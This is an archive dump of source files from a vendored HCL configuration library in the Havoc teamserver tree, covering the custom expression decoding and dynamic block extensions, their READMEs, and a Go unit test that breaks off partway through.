[`gohcl`](https://pkg.go.dev/Havoc/pkg/profile/yaotl/gohcl) has its own mechanism to support this use case, exploiting the fact that it is working directly with "normal" Go types. Decoding into a struct field of type `hcl.Expression` obtains the expression directly without evaluating it first. The Custom Static Decoding Extension is not necessary for that `gohcl` technique. You can also implement custom decoding by working directly with the lowest-level HCL API, which separates extraction of and evaluation of expressions into two steps.) ## Custom Decoding Types This extension relies on a convention implemented in terms of [_Capsule Types_ in the underlying `cty` type system](https://github.com/zclconf/go-cty/blob/master/docs/types.md#capsule-types). `cty` allows a capsule type to carry arbitrary extension metadata values as an aid to creating higher-level abstractions like this extension. A custom argument decoding mode, then, is implemented by creating a new `cty` capsule type that implements the `ExtensionData` custom operation to return a decoding function when requested. For example: ```go var keywordType cty.Type keywordType = cty.CapsuleWithOps("keyword", reflect.TypeOf(""), &cty.CapsuleOps{ ExtensionData: func(key interface{}) interface{} { switch key { case customdecode.CustomExpressionDecoder: return customdecode.CustomExpressionDecoderFunc( func(expr hcl.Expression, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { var diags hcl.Diagnostics kw := hcl.ExprAsKeyword(expr) if kw == "" { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid keyword", Detail: "A keyword is required", Subject: expr.Range().Ptr(), }) return cty.UnkownVal(keywordType), diags } return cty.CapsuleVal(keywordType, &kw) }, ) default: return nil } }, }) ``` The boilerplate here is a bit fussy, but the important part for our purposes is the `case customdecode.CustomExpressionDecoder:` clause, which uses a custom extension key type defined in this package to recognize when a component implementing this extension is checking to see if a target type has a custom decode implementation. In the above case we've defined a type that decodes expressions as static keywords, so a keyword like `foo` would decode as an encapsulated `"foo"` string, while any other sort of expression like `"baz"` or `1 + 1` would return an error. We could then use `keywordType` as a type constraint either for a function parameter or a `hcldec` attribute specification, which would require the argument for that function parameter or the expression for the matching attributes to be a static keyword, rather than an arbitrary expression. For example, in a `hcldec.AttrSpec`: ```go keywordSpec := &hcldec.AttrSpec{ Name: "keyword", Type: keywordType, } ``` The above would accept input like the following and would set its result to a `cty.Value` of `keywordType`, after decoding: ```hcl keyword = foo ``` ## The Expression and Expression Closure `cty` types Building on the above, this package also includes two capsule types that use the above mechanism to allow calling applications to capture expressions directly and thus defer analysis to a later step, after initial decoding. The `customdecode.ExpressionType` type encapsulates an `hcl.Expression` alone, for situations like our type constraint expression example above where it's the static structure of the expression we want to inspect, and thus any variables and functions defined in the evaluation context are irrelevant. The `customdecode.ExpressionClosureType` type encapsulates a `*customdecode.ExpressionClosure` value, which binds the given expression to the `hcl.EvalContext` it was asked to evaluate against and thus allows the receiver of that result to later perform normal evaluation of the expression with all the same variables and functions that would've been available to it naturally. Both of these types can be used as type constraints either for `hcldec` attribute specifications or for function arguments. Here's an example of `ExpressionClosureType` to implement a function that can evaluate an expression with some additional variables defined locally, which we'll call the `with(...)` function: ```go var WithFunc = function.New(&function.Spec{ Params: []function.Parameter{ { Name: "variables", Type: cty.DynamicPseudoType, }, { Name: "expression", Type: customdecode.ExpressionClosureType, }, }, Type: func(args []cty.Value) (cty.Type, error) { varsVal := args[0] exprVal := args[1] if !varsVal.Type().IsObjectType() { return cty.NilVal, function.NewArgErrorf(0, "must be an object defining local variables") } if !varsVal.IsKnown() { // We can't predict our result type until the variables object // is known. return cty.DynamicPseudoType, nil } vars := varsVal.AsValueMap() closure := customdecode.ExpressionClosureFromVal(exprVal) result, err := evalWithLocals(vars, closure) if err != nil { return cty.NilVal, err } return result.Type(), nil }, Impl: func(args []cty.Value, retType cty.Type) (cty.Value, error) { varsVal := args[0] exprVal := args[1] vars := varsVal.AsValueMap() closure := customdecode.ExpressionClosureFromVal(exprVal) return evalWithLocals(vars, closure) }, }) func evalWithLocals(locals map[string]cty.Value, closure *customdecode.ExpressionClosure) (cty.Value, error) { childCtx := closure.EvalContext.NewChild() childCtx.Variables = locals val, diags := closure.Expression.Value(childCtx) if diags.HasErrors() { return cty.NilVal, function.NewArgErrorf(1, "couldn't evaluate expression: %s", diags.Error()) } return val, nil } ``` If the above function were placed into an `hcl.EvalContext` as `with`, it could be used in a native syntax call to that function as follows: ```hcl foo = with({name = "Cory"}, "${greeting}, ${name}!") ``` The above assumes a variable in the main context called `greeting`, to which the `with` function adds `name` before evaluating the expression given in its second argument. This makes that second argument context-sensitive -- it would behave differently if the user wrote the same thing somewhere else -- so this capability should be used with care to make sure it doesn't cause confusion for the end-users of your language. There are some other examples of this capability to evaluate expressions in unusual ways in the `tryfunc` directory that is a sibling of this one. havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/ext/customdecode/customdecode.go000066400000000000000000000047171467014221700313110ustar00rootroot00000000000000// Package customdecode contains a HCL extension that allows, in certain // contexts, expression evaluation to be overridden by custom static analysis. // // This mechanism is only supported in certain specific contexts where // expressions are decoded with a specific target type in mind. For more // information, see the documentation on CustomExpressionDecoder. package customdecode import ( "Havoc/pkg/profile/yaotl" "github.com/zclconf/go-cty/cty" ) type customDecoderImpl int // CustomExpressionDecoder is a value intended to be used as a cty capsule // type ExtensionData key for capsule types whose values are to be obtained // by static analysis of an expression rather than normal evaluation of that // expression. // // When a cooperating capsule type is asked for ExtensionData with this key, // it must return a non-nil CustomExpressionDecoderFunc value. // // This mechanism is not universally supported; instead, it's handled in a few // specific places where expressions are evaluated with the intent of producing // a cty.Value of a type given by the calling application. // // Specifically, this currently works for type constraints given in // hcldec.AttrSpec and hcldec.BlockAttrsSpec, and it works for arguments to // function calls in the HCL native syntax. HCL extensions implemented outside // of the main HCL module may also implement this; consult their own // documentation for details. const CustomExpressionDecoder = customDecoderImpl(1) // CustomExpressionDecoderFunc is the type of value that must be returned by // a capsule type handling the key CustomExpressionDecoder in its ExtensionData // implementation. // // If no error diagnostics are returned, the result value MUST be of the // capsule type that the decoder function was derived from. If the returned // error diagnostics prevent producing a value at all, return cty.NilVal. type CustomExpressionDecoderFunc func(expr hcl.Expression, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) // CustomExpressionDecoderForType takes any cty type and returns its // custom expression decoder implementation if it has one. If it is not a // capsule type or it does not implement a custom expression decoder, this // function returns nil. func CustomExpressionDecoderForType(ty cty.Type) CustomExpressionDecoderFunc { if !ty.IsCapsuleType() { return nil } if fn, ok := ty.CapsuleExtensionData(CustomExpressionDecoder).(CustomExpressionDecoderFunc); ok { return fn } return nil } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/ext/customdecode/expression_type.go000066400000000000000000000134771467014221700320760ustar00rootroot00000000000000package customdecode import ( "fmt" "reflect" "Havoc/pkg/profile/yaotl" "github.com/zclconf/go-cty/cty" ) // ExpressionType is a cty capsule type that carries hcl.Expression values. // // This type implements custom decoding in the most general way possible: it // just captures whatever expression is given to it, with no further processing // whatsoever. It could therefore be useful in situations where an application // must defer processing of the expression content until a later step. // // ExpressionType only captures the expression, not the evaluation context it // was destined to be evaluated in. That means this type can be fine for // situations where the recipient of the value only intends to do static // analysis, but ExpressionClosureType is more appropriate in situations where // the recipient will eventually evaluate the given expression. var ExpressionType cty.Type // ExpressionVal returns a new cty value of type ExpressionType, wrapping the // given expression. func ExpressionVal(expr hcl.Expression) cty.Value { return cty.CapsuleVal(ExpressionType, &expr) } // ExpressionFromVal returns the expression encapsulated in the given value, or // panics if the value is not a known value of ExpressionType. func ExpressionFromVal(v cty.Value) hcl.Expression { if !v.Type().Equals(ExpressionType) { panic("value is not of ExpressionType") } ptr := v.EncapsulatedValue().(*hcl.Expression) return *ptr } // ExpressionClosureType is a cty capsule type that carries hcl.Expression // values along with their original evaluation contexts. // // This is similar to ExpressionType except that during custom decoding it // also captures the hcl.EvalContext that was provided, allowing callers to // evaluate the expression later in the same context where it would originally // have been evaluated, or a context derived from that one. var ExpressionClosureType cty.Type // ExpressionClosure is the type encapsulated in ExpressionClosureType type ExpressionClosure struct { Expression hcl.Expression EvalContext *hcl.EvalContext } // ExpressionClosureVal returns a new cty value of type ExpressionClosureType, // wrapping the given expression closure. func ExpressionClosureVal(closure *ExpressionClosure) cty.Value { return cty.CapsuleVal(ExpressionClosureType, closure) } // Value evaluates the closure's expression using the closure's EvalContext, // returning the result. func (c *ExpressionClosure) Value() (cty.Value, hcl.Diagnostics) { return c.Expression.Value(c.EvalContext) } // ExpressionClosureFromVal returns the expression closure encapsulated in the // given value, or panics if the value is not a known value of // ExpressionClosureType. // // The caller MUST NOT modify the returned closure or the EvalContext inside // it. To derive a new EvalContext, either create a child context or make // a copy. func ExpressionClosureFromVal(v cty.Value) *ExpressionClosure { if !v.Type().Equals(ExpressionClosureType) { panic("value is not of ExpressionClosureType") } return v.EncapsulatedValue().(*ExpressionClosure) } func init() { // Getting hold of a reflect.Type for hcl.Expression is a bit tricky because // it's an interface type, but we can do it with some indirection. goExpressionType := reflect.TypeOf((*hcl.Expression)(nil)).Elem() ExpressionType = cty.CapsuleWithOps("expression", goExpressionType, &cty.CapsuleOps{ ExtensionData: func(key interface{}) interface{} { switch key { case CustomExpressionDecoder: return CustomExpressionDecoderFunc( func(expr hcl.Expression, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { return ExpressionVal(expr), nil }, ) default: return nil } }, TypeGoString: func(_ reflect.Type) string { return "customdecode.ExpressionType" }, GoString: func(raw interface{}) string { exprPtr := raw.(*hcl.Expression) return fmt.Sprintf("customdecode.ExpressionVal(%#v)", *exprPtr) }, RawEquals: func(a, b interface{}) bool { aPtr := a.(*hcl.Expression) bPtr := b.(*hcl.Expression) return reflect.DeepEqual(*aPtr, *bPtr) }, }) ExpressionClosureType = cty.CapsuleWithOps("expression closure", reflect.TypeOf(ExpressionClosure{}), &cty.CapsuleOps{ ExtensionData: func(key interface{}) interface{} { switch key { case CustomExpressionDecoder: return CustomExpressionDecoderFunc( func(expr hcl.Expression, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { return ExpressionClosureVal(&ExpressionClosure{ Expression: expr, EvalContext: ctx, }), nil }, ) default: return nil } }, TypeGoString: func(_ reflect.Type) string { return "customdecode.ExpressionClosureType" }, GoString: func(raw interface{}) string { closure := raw.(*ExpressionClosure) return fmt.Sprintf("customdecode.ExpressionClosureVal(%#v)", closure) }, RawEquals: func(a, b interface{}) bool { closureA := a.(*ExpressionClosure) closureB := b.(*ExpressionClosure) // The expression itself compares by deep equality, but EvalContexts // conventionally compare by pointer identity, so we'll comply // with both conventions here by testing them separately. return closureA.EvalContext == closureB.EvalContext && reflect.DeepEqual(closureA.Expression, closureB.Expression) }, }) } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/ext/dynblock/000077500000000000000000000000001467014221700254225ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/ext/dynblock/README.md000066400000000000000000000144571467014221700267140ustar00rootroot00000000000000# HCL Dynamic Blocks Extension This HCL extension implements a special block type named "dynamic" that can be used to dynamically generate blocks of other types by iterating over collection values. Normally the block structure in an HCL configuration file is rigid, even though dynamic expressions can be used within attribute values. This is convenient for most applications since it allows the overall structure of the document to be decoded easily, but in some applications it is desirable to allow dynamic block generation within certain portions of the configuration. Dynamic block generation is performed using the `dynamic` block type: ```hcl toplevel { nested { foo = "static block 1" } dynamic "nested" { for_each = ["a", "b", "c"] iterator = nested content { foo = "dynamic block ${nested.value}" } } nested { foo = "static block 2" } } ``` The above is interpreted as if it were written as follows: ```hcl toplevel { nested { foo = "static block 1" } nested { foo = "dynamic block a" } nested { foo = "dynamic block b" } nested { foo = "dynamic block c" } nested { foo = "static block 2" } } ``` Since HCL block syntax is not normally exposed to the possibility of unknown values, this extension must make some compromises when asked to iterate over an unknown collection. If the length of the collection cannot be statically recognized (because it is an unknown value of list, map, or set type) then the `dynamic` construct will generate a _single_ dynamic block whose iterator key and value are both unknown values of the dynamic pseudo-type, thus causing any attribute values derived from iteration to appear as unknown values. There is no explicit representation of the fact that the length of the collection may eventually be different than one. ## Usage Pass a body to function `Expand` to obtain a new body that will, on access to its content, evaluate and expand any nested `dynamic` blocks. Dynamic block processing is also automatically propagated into any nested blocks that are returned, allowing users to nest dynamic blocks inside one another and to nest dynamic blocks inside other static blocks. HCL structural decoding does not normally have access to an `EvalContext`, so any variables and functions that should be available to the `for_each` and `labels` expressions must be passed in when calling `Expand`. Expressions within the `content` block are evaluated separately and so can be passed a separate `EvalContext` if desired, during normal attribute expression evaluation. ## Detecting Variables Some applications dynamically generate an `EvalContext` by analyzing which variables are referenced by an expression before evaluating it. This unfortunately requires some extra effort when this analysis is required for the context passed to `Expand`: the HCL API requires a schema to be provided in order to do any analysis of the blocks in a body, but the low-level schema model provides a description of only one level of nested blocks at a time, and thus a new schema must be provided for each additional level of nesting. To make this arduous process as convenient as possible, this package provides a helper function `WalkForEachVariables`, which returns a `WalkVariablesNode` instance that can be used to find variables directly in a given body and also determine which nested blocks require recursive calls. Using this mechanism requires that the caller be able to look up a schema given a nested block type. For _simple_ formats where a specific block type name always has the same schema regardless of context, a walk can be implemented as follows: ```go func walkVariables(node dynblock.WalkVariablesNode, schema *hcl.BodySchema) []hcl.Traversal { vars, children := node.Visit(schema) for _, child := range children { var childSchema *hcl.BodySchema switch child.BlockTypeName { case "a": childSchema = &hcl.BodySchema{ Blocks: []hcl.BlockHeaderSchema{ { Type: "b", LabelNames: []string{"key"}, }, }, } case "b": childSchema = &hcl.BodySchema{ Attributes: []hcl.AttributeSchema{ { Name: "val", Required: true, }, }, } default: // Should never happen, because the above cases should be exhaustive // for the application's configuration format. panic(fmt.Errorf("can't find schema for unknown block type %q", child.BlockTypeName)) } vars = append(vars, testWalkAndAccumVars(child.Node, childSchema)...) } } ``` ### Detecting Variables with `hcldec` Specifications For applications that use the higher-level `hcldec` package to decode nested configuration structures into `cty` values, the same specification can be used to automatically drive the recursive variable-detection walk described above. The helper function `ForEachVariablesHCLDec` allows an entire recursive configuration structure to be analyzed in a single call given a `hcldec.Spec` that describes the nested block structure. This means a `hcldec`-based application can support dynamic blocks with only a little additional effort: ```go func decodeBody(body hcl.Body, spec hcldec.Spec) (cty.Value, hcl.Diagnostics) { // Determine which variables are needed to expand dynamic blocks neededForDynamic := dynblock.ForEachVariablesHCLDec(body, spec) // Build a suitable EvalContext and expand dynamic blocks dynCtx := buildEvalContext(neededForDynamic) dynBody := dynblock.Expand(body, dynCtx) // Determine which variables are needed to fully decode the expanded body // This will analyze expressions that came both from static blocks in the // original body and from blocks that were dynamically added by Expand. neededForDecode := hcldec.Variables(dynBody, spec) // Build a suitable EvalContext and then fully decode the body as per the // hcldec specification. decCtx := buildEvalContext(neededForDecode) return hcldec.Decode(dynBody, spec, decCtx) } func buildEvalContext(needed []hcl.Traversal) *hcl.EvalContext { // (to be implemented by your application) } ``` # Performance This extension is going quite harshly against the grain of the HCL API, and so it uses lots of wrapping objects and temporary data structures to get its work done. HCL in general is not suitable for use in high-performance situations or situations sensitive to memory pressure, but that is _especially_ true for this extension. havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/ext/dynblock/expand_body.go000066400000000000000000000225721467014221700302550ustar00rootroot00000000000000package dynblock import ( "fmt" "Havoc/pkg/profile/yaotl" "github.com/zclconf/go-cty/cty" ) // expandBody wraps another hcl.Body and expands any "dynamic" blocks found // inside whenever Content or PartialContent is called. type expandBody struct { original hcl.Body forEachCtx *hcl.EvalContext iteration *iteration // non-nil if we're nested inside another "dynamic" block // These are used with PartialContent to produce a "remaining items" // body to return. They are nil on all bodies fresh out of the transformer. // // Note that this is re-implemented here rather than delegating to the // existing support required by the underlying body because we need to // retain access to the entire original body on subsequent decode operations // so we can retain any "dynamic" blocks for types we didn't take consume // on the first pass. hiddenAttrs map[string]struct{} hiddenBlocks map[string]hcl.BlockHeaderSchema } func (b *expandBody) Content(schema *hcl.BodySchema) (*hcl.BodyContent, hcl.Diagnostics) { extSchema := b.extendSchema(schema) rawContent, diags := b.original.Content(extSchema) blocks, blockDiags := b.expandBlocks(schema, rawContent.Blocks, false) diags = append(diags, blockDiags...) attrs := b.prepareAttributes(rawContent.Attributes) content := &hcl.BodyContent{ Attributes: attrs, Blocks: blocks, MissingItemRange: b.original.MissingItemRange(), } return content, diags } func (b *expandBody) PartialContent(schema *hcl.BodySchema) (*hcl.BodyContent, hcl.Body, hcl.Diagnostics) { extSchema := b.extendSchema(schema) rawContent, _, diags := b.original.PartialContent(extSchema) // We discard the "remain" argument above because we're going to construct // our own remain that also takes into account remaining "dynamic" blocks. blocks, blockDiags := b.expandBlocks(schema, rawContent.Blocks, true) diags = append(diags, blockDiags...) attrs := b.prepareAttributes(rawContent.Attributes) content := &hcl.BodyContent{ Attributes: attrs, Blocks: blocks, MissingItemRange: b.original.MissingItemRange(), } remain := &expandBody{ original: b.original, forEachCtx: b.forEachCtx, iteration: b.iteration, hiddenAttrs: make(map[string]struct{}), hiddenBlocks: make(map[string]hcl.BlockHeaderSchema), } for name := range b.hiddenAttrs { remain.hiddenAttrs[name] = struct{}{} } for typeName, blockS := range b.hiddenBlocks { remain.hiddenBlocks[typeName] = blockS } for _, attrS := range schema.Attributes { remain.hiddenAttrs[attrS.Name] = struct{}{} } for _, blockS := range schema.Blocks { remain.hiddenBlocks[blockS.Type] = blockS } return content, remain, diags } func (b *expandBody) extendSchema(schema *hcl.BodySchema) *hcl.BodySchema { // We augment the requested schema to also include our special "dynamic" // block type, since then we'll get instances of it interleaved with // all of the literal child blocks we must also include. extSchema := &hcl.BodySchema{ Attributes: schema.Attributes, Blocks: make([]hcl.BlockHeaderSchema, len(schema.Blocks), len(schema.Blocks)+len(b.hiddenBlocks)+1), } copy(extSchema.Blocks, schema.Blocks) extSchema.Blocks = append(extSchema.Blocks, dynamicBlockHeaderSchema) // If we have any hiddenBlocks then we also need to register those here // so that a call to "Content" on the underlying body won't fail. // (We'll filter these out again once we process the result of either // Content or PartialContent.) for _, blockS := range b.hiddenBlocks { extSchema.Blocks = append(extSchema.Blocks, blockS) } // If we have any hiddenAttrs then we also need to register these, for // the same reason as we deal with hiddenBlocks above. if len(b.hiddenAttrs) != 0 { newAttrs := make([]hcl.AttributeSchema, len(schema.Attributes), len(schema.Attributes)+len(b.hiddenAttrs)) copy(newAttrs, extSchema.Attributes) for name := range b.hiddenAttrs { newAttrs = append(newAttrs, hcl.AttributeSchema{ Name: name, Required: false, }) } extSchema.Attributes = newAttrs } return extSchema } func (b *expandBody) prepareAttributes(rawAttrs hcl.Attributes) hcl.Attributes { if len(b.hiddenAttrs) == 0 && b.iteration == nil { // Easy path: just pass through the attrs from the original body verbatim return rawAttrs } // Otherwise we have some work to do: we must filter out any attributes // that are hidden (since a previous PartialContent call already saw these) // and wrap the expressions of the inner attributes so that they will // have access to our iteration variables. attrs := make(hcl.Attributes, len(rawAttrs)) for name, rawAttr := range rawAttrs { if _, hidden := b.hiddenAttrs[name]; hidden { continue } if b.iteration != nil { attr := *rawAttr // shallow copy so we can mutate it attr.Expr = exprWrap{ Expression: attr.Expr, i: b.iteration, } attrs[name] = &attr } else { // If we have no active iteration then no wrapping is required. attrs[name] = rawAttr } } return attrs } func (b *expandBody) expandBlocks(schema *hcl.BodySchema, rawBlocks hcl.Blocks, partial bool) (hcl.Blocks, hcl.Diagnostics) { var blocks hcl.Blocks var diags hcl.Diagnostics for _, rawBlock := range rawBlocks { switch rawBlock.Type { case "dynamic": realBlockType := rawBlock.Labels[0] if _, hidden := b.hiddenBlocks[realBlockType]; hidden { continue } var blockS *hcl.BlockHeaderSchema for _, candidate := range schema.Blocks { if candidate.Type == realBlockType { blockS = &candidate break } } if blockS == nil { // Not a block type that the caller requested. if !partial { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Unsupported block type", Detail: fmt.Sprintf("Blocks of type %q are not expected here.", realBlockType), Subject: &rawBlock.LabelRanges[0], }) } continue } spec, specDiags := b.decodeSpec(blockS, rawBlock) diags = append(diags, specDiags...) if specDiags.HasErrors() { continue } if spec.forEachVal.IsKnown() { for it := spec.forEachVal.ElementIterator(); it.Next(); { key, value := it.Element() i := b.iteration.MakeChild(spec.iteratorName, key, value) block, blockDiags := spec.newBlock(i, b.forEachCtx) diags = append(diags, blockDiags...) if block != nil { // Attach our new iteration context so that attributes // and other nested blocks can refer to our iterator. block.Body = b.expandChild(block.Body, i) blocks = append(blocks, block) } } } else { // If our top-level iteration value isn't known then we // substitute an unknownBody, which will cause the entire block // to evaluate to an unknown value. i := b.iteration.MakeChild(spec.iteratorName, cty.DynamicVal, cty.DynamicVal) block, blockDiags := spec.newBlock(i, b.forEachCtx) diags = append(diags, blockDiags...) if block != nil { block.Body = unknownBody{b.expandChild(block.Body, i)} blocks = append(blocks, block) } } default: if _, hidden := b.hiddenBlocks[rawBlock.Type]; !hidden { // A static block doesn't create a new iteration context, but // it does need to inherit _our own_ iteration context in // case it contains expressions that refer to our inherited // iterators, or nested "dynamic" blocks. expandedBlock := *rawBlock // shallow copy expandedBlock.Body = b.expandChild(rawBlock.Body, b.iteration) blocks = append(blocks, &expandedBlock) } } } return blocks, diags } func (b *expandBody) expandChild(child hcl.Body, i *iteration) hcl.Body { chiCtx := i.EvalContext(b.forEachCtx) ret := Expand(child, chiCtx) ret.(*expandBody).iteration = i return ret } func (b *expandBody) JustAttributes() (hcl.Attributes, hcl.Diagnostics) { // blocks aren't allowed in JustAttributes mode and this body can // only produce blocks, so we'll just pass straight through to our // underlying body here. return b.original.JustAttributes() } func (b *expandBody) MissingItemRange() hcl.Range { return b.original.MissingItemRange() } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/ext/dynblock/expand_body_test.go000066400000000000000000000614101467014221700313060ustar00rootroot00000000000000package dynblock import ( "strings" "testing" "Havoc/pkg/profile/yaotl" "Havoc/pkg/profile/yaotl/hcldec" "Havoc/pkg/profile/yaotl/hcltest" "github.com/zclconf/go-cty/cty" ) func TestExpand(t *testing.T) { srcBody := hcltest.MockBody(&hcl.BodyContent{ Blocks: hcl.Blocks{ { Type: "a", Labels: []string{"static0"}, LabelRanges: []hcl.Range{hcl.Range{}}, Body: hcltest.MockBody(&hcl.BodyContent{ Attributes: hcltest.MockAttrs(map[string]hcl.Expression{ "val": hcltest.MockExprLiteral(cty.StringVal("static a 0")), }), }), }, { Type: "b", Body: hcltest.MockBody(&hcl.BodyContent{ Blocks: hcl.Blocks{ { Type: "c", Body: hcltest.MockBody(&hcl.BodyContent{ Attributes: hcltest.MockAttrs(map[string]hcl.Expression{ "val0": hcltest.MockExprLiteral(cty.StringVal("static c 0")), }), }), }, { Type: "dynamic", Labels: []string{"c"}, LabelRanges: []hcl.Range{hcl.Range{}}, Body: hcltest.MockBody(&hcl.BodyContent{ Attributes: hcltest.MockAttrs(map[string]hcl.Expression{ "for_each": hcltest.MockExprLiteral(cty.ListVal([]cty.Value{ cty.StringVal("dynamic c 0"), cty.StringVal("dynamic c 1"), })), "iterator": hcltest.MockExprVariable("dyn_c"), }), Blocks: hcl.Blocks{ { Type: "content", Body: hcltest.MockBody(&hcl.BodyContent{ Attributes: hcltest.MockAttrs(map[string]hcl.Expression{ "val0": hcltest.MockExprTraversalSrc("dyn_c.value"), }), }), }, }, }), }, }, }), }, { Type: "dynamic", Labels: []string{"a"}, LabelRanges: []hcl.Range{hcl.Range{}}, Body: hcltest.MockBody(&hcl.BodyContent{ Attributes: hcltest.MockAttrs(map[string]hcl.Expression{ "for_each": hcltest.MockExprLiteral(cty.ListVal([]cty.Value{ cty.StringVal("dynamic a 0"), cty.StringVal("dynamic a 1"), cty.StringVal("dynamic a 2"), })), "labels": hcltest.MockExprList([]hcl.Expression{ hcltest.MockExprTraversalSrc("a.key"), }), }), Blocks: hcl.Blocks{ { Type: "content", Body: hcltest.MockBody(&hcl.BodyContent{ Attributes: hcltest.MockAttrs(map[string]hcl.Expression{ "val": hcltest.MockExprTraversalSrc("a.value"), }), }), }, }, }), }, { Type: "dynamic", Labels: []string{"b"}, LabelRanges: []hcl.Range{hcl.Range{}}, Body: hcltest.MockBody(&hcl.BodyContent{ Attributes: hcltest.MockAttrs(map[string]hcl.Expression{ "for_each": hcltest.MockExprLiteral(cty.ListVal([]cty.Value{ cty.StringVal("dynamic b 0"), cty.StringVal("dynamic b 1"), })), "iterator": hcltest.MockExprVariable("dyn_b"), }), Blocks: hcl.Blocks{ { Type: "content", Body: hcltest.MockBody(&hcl.BodyContent{ Blocks: hcl.Blocks{ { Type: "c", Body: hcltest.MockBody(&hcl.BodyContent{ Attributes: hcltest.MockAttrs(map[string]hcl.Expression{ "val0": hcltest.MockExprLiteral(cty.StringVal("static c 1")), "val1": hcltest.MockExprTraversalSrc("dyn_b.value"), }), }), }, { Type: "dynamic", Labels: []string{"c"}, LabelRanges: []hcl.Range{hcl.Range{}}, Body: hcltest.MockBody(&hcl.BodyContent{ Attributes: hcltest.MockAttrs(map[string]hcl.Expression{ "for_each": hcltest.MockExprLiteral(cty.ListVal([]cty.Value{ cty.StringVal("dynamic c 2"), cty.StringVal("dynamic c 3"), })), }), Blocks: hcl.Blocks{ { Type: "content", Body: hcltest.MockBody(&hcl.BodyContent{ Attributes: hcltest.MockAttrs(map[string]hcl.Expression{ "val0": hcltest.MockExprTraversalSrc("c.value"), "val1": hcltest.MockExprTraversalSrc("dyn_b.value"), }), }), }, }, }), }, }, }), }, }, }), }, { Type: "dynamic", Labels: []string{"b"}, LabelRanges: []hcl.Range{hcl.Range{}}, Body: hcltest.MockBody(&hcl.BodyContent{ Attributes: hcltest.MockAttrs(map[string]hcl.Expression{ "for_each": hcltest.MockExprLiteral(cty.MapVal(map[string]cty.Value{ "foo": cty.ListVal([]cty.Value{ cty.StringVal("dynamic c nested 0"), cty.StringVal("dynamic c nested 1"), }), })), "iterator": hcltest.MockExprVariable("dyn_b"), }), Blocks: hcl.Blocks{ { Type: "content", Body: hcltest.MockBody(&hcl.BodyContent{ Blocks: hcl.Blocks{ { Type: "dynamic", Labels: []string{"c"}, LabelRanges: []hcl.Range{hcl.Range{}}, Body: hcltest.MockBody(&hcl.BodyContent{ Attributes: hcltest.MockAttrs(map[string]hcl.Expression{ "for_each": hcltest.MockExprTraversalSrc("dyn_b.value"), }), Blocks: hcl.Blocks{ { Type: "content", Body: hcltest.MockBody(&hcl.BodyContent{ Attributes: hcltest.MockAttrs(map[string]hcl.Expression{ "val0": hcltest.MockExprTraversalSrc("c.value"), "val1": hcltest.MockExprTraversalSrc("dyn_b.key"), }), }), }, }, }), }, }, }), }, }, }), }, { Type: "a", Labels: []string{"static1"}, LabelRanges: []hcl.Range{hcl.Range{}}, Body: hcltest.MockBody(&hcl.BodyContent{ Attributes: hcltest.MockAttrs(map[string]hcl.Expression{ "val": hcltest.MockExprLiteral(cty.StringVal("static a 1")), }), }), }, }, }) dynBody := Expand(srcBody, nil) var remain hcl.Body t.Run("PartialDecode", func(t *testing.T) { decSpec := &hcldec.BlockMapSpec{ TypeName: "a", LabelNames: []string{"key"}, Nested: &hcldec.AttrSpec{ Name: "val", Type: cty.String, Required: true, }, } var got cty.Value var diags hcl.Diagnostics got, remain, diags = hcldec.PartialDecode(dynBody, decSpec, nil) if len(diags) != 0 { t.Errorf("unexpected diagnostics") for _, diag := range diags { t.Logf("- %s", diag) } return } want := cty.MapVal(map[string]cty.Value{ "static0": cty.StringVal("static a 0"), "static1": cty.StringVal("static a 1"), "0": cty.StringVal("dynamic a 0"), "1": cty.StringVal("dynamic a 1"), "2": cty.StringVal("dynamic a 2"), }) if !got.RawEquals(want) { t.Errorf("wrong result\ngot: %#v\nwant: %#v", got, want) } }) t.Run("Decode", func(t *testing.T) { decSpec := &hcldec.BlockListSpec{ TypeName: "b", Nested: &hcldec.BlockListSpec{ TypeName: "c", Nested: &hcldec.ObjectSpec{ "val0": &hcldec.AttrSpec{ Name: "val0", Type: cty.String, }, "val1": &hcldec.AttrSpec{ Name: "val1", Type: cty.String, }, }, }, } var got cty.Value var diags hcl.Diagnostics got, diags = hcldec.Decode(remain, decSpec, nil) if len(diags) != 0 { t.Errorf("unexpected diagnostics") for _, diag := range diags { t.Logf("- %s", diag) } return } want := cty.ListVal([]cty.Value{ cty.ListVal([]cty.Value{ cty.ObjectVal(map[string]cty.Value{ "val0": cty.StringVal("static c 0"), "val1": cty.NullVal(cty.String), }), cty.ObjectVal(map[string]cty.Value{ "val0": cty.StringVal("dynamic c 0"), "val1": cty.NullVal(cty.String), }), cty.ObjectVal(map[string]cty.Value{ "val0": cty.StringVal("dynamic c 1"), "val1": cty.NullVal(cty.String), }), }), cty.ListVal([]cty.Value{ cty.ObjectVal(map[string]cty.Value{ "val0": cty.StringVal("static c 1"), "val1": cty.StringVal("dynamic b 0"), }), cty.ObjectVal(map[string]cty.Value{ "val0": cty.StringVal("dynamic c 2"), "val1": cty.StringVal("dynamic b 0"), }), cty.ObjectVal(map[string]cty.Value{ "val0": cty.StringVal("dynamic c 3"), "val1": cty.StringVal("dynamic b 0"), }), }), cty.ListVal([]cty.Value{ cty.ObjectVal(map[string]cty.Value{ "val0": cty.StringVal("static c 1"), "val1": cty.StringVal("dynamic b 1"), }), cty.ObjectVal(map[string]cty.Value{ "val0": cty.StringVal("dynamic c 2"), "val1": cty.StringVal("dynamic b 1"), }), cty.ObjectVal(map[string]cty.Value{ "val0": cty.StringVal("dynamic c 3"), "val1": cty.StringVal("dynamic b 1"), }), }), cty.ListVal([]cty.Value{ cty.ObjectVal(map[string]cty.Value{ "val0": cty.StringVal("dynamic c nested 0"), "val1": cty.StringVal("foo"), }), cty.ObjectVal(map[string]cty.Value{ "val0": cty.StringVal("dynamic c nested 1"), "val1": cty.StringVal("foo"), }), }), }) if !got.RawEquals(want) { t.Errorf("wrong result\ngot: 